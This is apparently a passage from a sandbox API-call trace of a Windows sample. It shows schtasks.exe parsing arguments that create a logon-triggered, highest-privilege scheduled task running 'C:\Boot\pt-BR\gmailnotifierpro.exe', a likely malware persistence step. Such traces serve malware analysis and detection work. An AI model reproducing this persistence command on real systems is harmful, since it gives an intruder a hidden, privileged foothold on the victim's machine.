(_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.664] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|end|") returned 5 [0108.664] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|sc|") returned 4 [0108.664] lstrlenW (lpString="|end|") returned 5 [0108.664] lstrlenW (lpString="|sc|") returned 4 [0108.664] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0108.664] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.664] lstrlenW (lpString="showsid") returned 7 [0108.665] lstrlenW (lpString="showsid") returned 7 [0108.665] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.665] lstrlenW (lpString="sc") returned 2 [0108.665] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.665] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|showsid|") returned 9 [0108.665] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|sc|") returned 4 [0108.665] lstrlenW (lpString="|showsid|") returned 9 [0108.665] lstrlenW (lpString="|sc|") returned 4 [0108.665] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0108.665] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.665] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.665] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.665] lstrlenW (lpString="/sc") returned 3 [0108.665] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0108.665] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.665] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.665] lstrlenW (lpString="/sc") returned 3 [0108.665] GetProcessHeap () returned 0x208f92d0000 [0108.665] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x8) returned 0x208f92d4290 [0108.665] GetProcessHeap () returned 0x208f92d0000 [0108.665] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db6e0 [0108.665] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.665] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.665] lstrlenW (lpString="ONLOGON") returned 7 [0108.665] lstrlenW (lpString="-/") returned 2 [0108.665] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0108.666] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.666] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.666] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.666] lstrlenW (lpString="ONLOGON") returned 7 [0108.666] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0108.666] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.666] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.666] lstrlenW (lpString="ONLOGON") returned 7 [0108.666] GetProcessHeap () returned 0x208f92d0000 [0108.666] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x10) returned 0x208f92d42b0 [0108.666] GetProcessHeap () returned 0x208f92d0000 [0108.666] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db650 [0108.666] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.666] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.666] lstrlenW (lpString="/tr") returned 3 [0108.666] lstrlenW (lpString="-/") returned 2 [0108.666] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.666] lstrlenW (lpString="?") returned 1 [0108.666] lstrlenW (lpString="?") returned 1 [0108.666] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.666] lstrlenW (lpString="tr") returned 2 [0108.666] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.666] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|?|") returned 3 [0108.666] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tr|") returned 4 [0108.666] lstrlenW (lpString="|?|") returned 3 [0108.666] lstrlenW (lpString="|tr|") returned 4 [0108.667] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.667] lstrlenW (lpString="create") returned 6 [0108.667] lstrlenW (lpString="create") returned 6 [0108.667] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.667] lstrlenW (lpString="tr") returned 2 [0108.667] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.667] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|create|") returned 8 [0108.667] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tr|") returned 4 [0108.667] lstrlenW (lpString="|create|") returned 8 [0108.667] lstrlenW (lpString="|tr|") returned 4 [0108.667] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0108.667] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.667] lstrlenW (lpString="delete") returned 6 [0108.667] lstrlenW (lpString="delete") returned 6 [0108.667] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.667] lstrlenW (lpString="tr") returned 2 [0108.667] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.667] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|delete|") returned 8 [0108.667] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tr|") returned 4 [0108.667] lstrlenW (lpString="|delete|") returned 8 [0108.667] lstrlenW (lpString="|tr|") returned 4 [0108.667] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0108.667] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.667] lstrlenW (lpString="query") returned 5 [0108.668] lstrlenW (lpString="query") returned 5 [0108.668] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.668] lstrlenW (lpString="tr") returned 2 [0108.668] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.668] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|query|") returned 7 [0108.668] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tr|") returned 4 [0108.668] lstrlenW (lpString="|query|") returned 7 [0108.668] lstrlenW (lpString="|tr|") returned 4 [0108.668] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0108.668] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.668] lstrlenW (lpString="change") returned 6 [0108.668] lstrlenW (lpString="change") returned 6 [0108.668] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.668] lstrlenW (lpString="tr") returned 2 [0108.668] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.668] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|change|") returned 8 [0108.669] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tr|") returned 4 [0108.669] lstrlenW (lpString="|change|") returned 8 [0108.669] lstrlenW (lpString="|tr|") returned 4 [0108.669] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0108.669] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.669] lstrlenW (lpString="run") returned 3 [0108.669] lstrlenW (lpString="run") returned 3 [0108.669] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.669] lstrlenW (lpString="tr") returned 2 [0108.669] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.669] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|run|") returned 5 [0108.669] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tr|") returned 4 [0108.669] lstrlenW (lpString="|run|") returned 5 [0108.669] lstrlenW (lpString="|tr|") returned 4 [0108.669] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0108.669] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.669] lstrlenW (lpString="end") returned 3 [0108.669] lstrlenW (lpString="end") returned 3 [0108.672] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.672] lstrlenW (lpString="tr") returned 2 [0108.672] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.672] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|end|") returned 5 [0108.672] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tr|") returned 4 [0108.672] lstrlenW (lpString="|end|") returned 5 [0108.672] lstrlenW (lpString="|tr|") returned 4 [0108.673] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0108.673] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.673] lstrlenW (lpString="showsid") returned 7 [0108.673] lstrlenW (lpString="showsid") returned 7 [0108.673] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.673] lstrlenW (lpString="tr") returned 2 [0108.673] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.673] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|showsid|") returned 9 [0108.673] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|tr|") returned 4 [0108.673] lstrlenW (lpString="|showsid|") returned 9 [0108.673] lstrlenW (lpString="|tr|") returned 4 [0108.673] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0108.673] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.673] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.673] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.673] lstrlenW (lpString="/tr") returned 3 [0108.673] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0108.673] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.673] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.673] lstrlenW (lpString="/tr") returned 3 [0108.673] GetProcessHeap () returned 0x208f92d0000 [0108.673] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x8) returned 0x208f92d42d0 [0108.673] GetProcessHeap () returned 0x208f92d0000 [0108.673] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db7a0 [0108.673] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.673] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.673] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.674] lstrlenW (lpString="-/") returned 2 [0108.674] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0108.674] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.674] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.674] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.674] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.674] StrChrIW (lpStart="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'", wMatch=0x3a) returned=":\\Boot\\pt-BR\\gmailnotifierpro.exe'" [0108.674] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.674] GetProcessHeap () returned 0x208f92d0000 [0108.674] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x18) returned 0x208f92d42f0 [0108.674] _memicmp (_Buf1=0x208f92d42f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.674] GetProcessHeap () returned 0x208f92d0000 [0108.674] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0xe) returned 0x208f92d4310 [0108.674] GetProcessHeap () returned 0x208f92d0000 [0108.674] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x18) returned 0x208f92daa40 [0108.674] _memicmp (_Buf1=0x208f92daa40, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.674] GetProcessHeap () returned 0x208f92d0000 [0108.674] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x4c) returned 0x208f92d3b40 [0108.674] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.674] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.674] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.674] lstrlenW (lpString="'C") returned 2 [0108.674] lstrlenW (lpString="-/") returned 2 [0108.674] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0108.674] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.674] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.674] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.675] lstrlenW (lpString="'C:\\Boot\\pt-BR\\gmailnotifierpro.exe'") returned 36 [0108.675] GetProcessHeap () returned 0x208f92d0000 [0108.675] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x4a) returned 0x208f92d3ba0 [0108.675] GetProcessHeap () returned 0x208f92d0000 [0108.675] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db890 [0108.675] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.675] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.675] lstrlenW (lpString="/rl") returned 3 [0108.675] lstrlenW (lpString="-/") returned 2 [0108.675] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.675] lstrlenW (lpString="?") returned 1 [0108.675] lstrlenW (lpString="?") returned 1 [0108.675] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.675] lstrlenW (lpString="rl") returned 2 [0108.675] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.675] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|?|") returned 3 [0108.675] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|rl|") returned 4 [0108.675] lstrlenW (lpString="|?|") returned 3 [0108.675] lstrlenW (lpString="|rl|") returned 4 [0108.675] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.675] lstrlenW (lpString="create") returned 6 [0108.675] lstrlenW (lpString="create") returned 6 [0108.675] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.675] lstrlenW (lpString="rl") returned 2 [0108.675] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.675] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|create|") returned 8 [0108.676] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|rl|") returned 4 [0108.676] lstrlenW (lpString="|create|") returned 8 [0108.676] lstrlenW (lpString="|rl|") returned 4 [0108.676] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0108.676] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.676] lstrlenW (lpString="delete") returned 6 [0108.676] lstrlenW (lpString="delete") returned 6 [0108.676] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.676] lstrlenW (lpString="rl") returned 2 [0108.676] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.676] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|delete|") returned 8 [0108.676] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|rl|") returned 4 [0108.676] lstrlenW (lpString="|delete|") returned 8 [0108.676] lstrlenW (lpString="|rl|") returned 4 [0108.676] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0108.676] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.676] lstrlenW (lpString="query") returned 5 [0108.676] lstrlenW (lpString="query") returned 5 [0108.676] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.676] lstrlenW (lpString="rl") returned 2 [0108.676] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.676] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|query|") returned 7 [0108.676] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|rl|") returned 4 [0108.677] lstrlenW (lpString="|query|") returned 7 [0108.677] lstrlenW (lpString="|rl|") returned 4 [0108.677] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0108.677] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.677] lstrlenW (lpString="change") returned 6 [0108.677] lstrlenW (lpString="change") returned 6 [0108.677] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.677] lstrlenW (lpString="rl") returned 2 [0108.677] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.677] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|change|") returned 8 [0108.677] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|rl|") returned 4 [0108.677] lstrlenW (lpString="|change|") returned 8 [0108.677] lstrlenW (lpString="|rl|") returned 4 [0108.677] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0108.677] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.677] lstrlenW (lpString="run") returned 3 [0108.677] lstrlenW (lpString="run") returned 3 [0108.677] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.677] lstrlenW (lpString="rl") returned 2 [0108.677] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.677] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|run|") returned 5 [0108.677] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|rl|") returned 4 [0108.677] lstrlenW (lpString="|run|") returned 5 [0108.677] lstrlenW (lpString="|rl|") returned 4 [0108.678] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0108.678] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.678] lstrlenW (lpString="end") returned 3 [0108.678] lstrlenW (lpString="end") returned 3 [0108.678] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.678] lstrlenW (lpString="rl") returned 2 [0108.678] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.678] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x6, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|end|") returned 5 [0108.678] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|rl|") returned 4 [0108.678] lstrlenW (lpString="|end|") returned 5 [0108.678] lstrlenW (lpString="|rl|") returned 4 [0108.678] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0108.678] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.678] lstrlenW (lpString="showsid") returned 7 [0108.678] lstrlenW (lpString="showsid") returned 7 [0108.678] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.678] lstrlenW (lpString="rl") returned 2 [0108.678] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.678] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0xa, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|showsid|") returned 9 [0108.678] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x5, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|rl|") returned 4 [0108.678] lstrlenW (lpString="|showsid|") returned 9 [0108.678] lstrlenW (lpString="|rl|") returned 4 [0108.678] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0108.678] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.678] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.679] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.679] lstrlenW (lpString="/rl") returned 3 [0108.679] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0108.679] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.679] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.679] lstrlenW (lpString="/rl") returned 3 [0108.679] GetProcessHeap () returned 0x208f92d0000 [0108.679] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x8) returned 0x208f92d4330 [0108.679] GetProcessHeap () returned 0x208f92d0000 [0108.679] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db710 [0108.679] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.679] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.679] lstrlenW (lpString="HIGHEST") returned 7 [0108.679] lstrlenW (lpString="-/") returned 2 [0108.679] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0108.679] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.679] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.679] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.679] lstrlenW (lpString="HIGHEST") returned 7 [0108.679] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0108.679] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.679] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.679] lstrlenW (lpString="HIGHEST") returned 7 [0108.679] GetProcessHeap () returned 0x208f92d0000 [0108.679] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x10) returned 0x208f92daae0 [0108.679] GetProcessHeap () returned 0x208f92d0000 [0108.679] RtlAllocateHeap (HeapHandle=0x208f92d0000, Flags=0xc, Size=0x20) returned 0x208f92db500 [0108.679] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.679] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.680] lstrlenW (lpString="/f") returned 2 [0108.680] lstrlenW (lpString="-/") returned 2 [0108.680] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0108.680] lstrlenW (lpString="?") returned 1 [0108.680] lstrlenW (lpString="?") returned 1 [0108.680] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.680] lstrlenW (lpString="f") returned 1 [0108.680] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.680] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|?|") returned 3 [0108.680] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|f|") returned 3 [0108.680] lstrlenW (lpString="|?|") returned 3 [0108.680] lstrlenW (lpString="|f|") returned 3 [0108.680] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0108.680] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.680] lstrlenW (lpString="create") returned 6 [0108.680] lstrlenW (lpString="create") returned 6 [0108.680] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.680] lstrlenW (lpString="f") returned 1 [0108.680] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.680] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|create|") returned 8 [0108.680] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|f|") returned 3 [0108.680] lstrlenW (lpString="|create|") returned 8 [0108.680] lstrlenW (lpString="|f|") returned 3 [0108.680] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0108.680] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.681] lstrlenW (lpString="delete") returned 6 [0108.681] lstrlenW (lpString="delete") returned 6 [0108.681] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.681] lstrlenW (lpString="f") returned 1 [0108.681] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.681] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x9, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|delete|") returned 8 [0108.681] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|f|") returned 3 [0108.681] lstrlenW (lpString="|delete|") returned 8 [0108.681] lstrlenW (lpString="|f|") returned 3 [0108.681] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0108.681] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.681] lstrlenW (lpString="query") returned 5 [0108.681] lstrlenW (lpString="query") returned 5 [0108.681] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.681] lstrlenW (lpString="f") returned 1 [0108.681] _memicmp (_Buf1=0x208f92d3f30, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.681] _vsnwprintf (in: _Buffer=0x208f92d4260, _BufferCount=0x8, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|query|") returned 7 [0108.681] _vsnwprintf (in: _Buffer=0x208f92d3f50, _BufferCount=0x4, _Format="|%s|", _ArgList=0x13e077f2a8 | out: _Buffer="|f|") returned 3 [0108.681] lstrlenW (lpString="|query|") returned 7 [0108.681] lstrlenW (lpString="|f|") returned 3 [0108.681] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0108.681] RtlRestoreLastWin32Error () returned 0x13e0821000 [0108.681] lstrlenW (lpString="change") returned 6 [0108.681] lstrlenW (lpString="change") returned 6 [0108.682] _memicmp (_Buf1=0x208f92d3ef0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0108.682] lstrlenW (lpString="f") returned 1 [0108.682] _memicmp 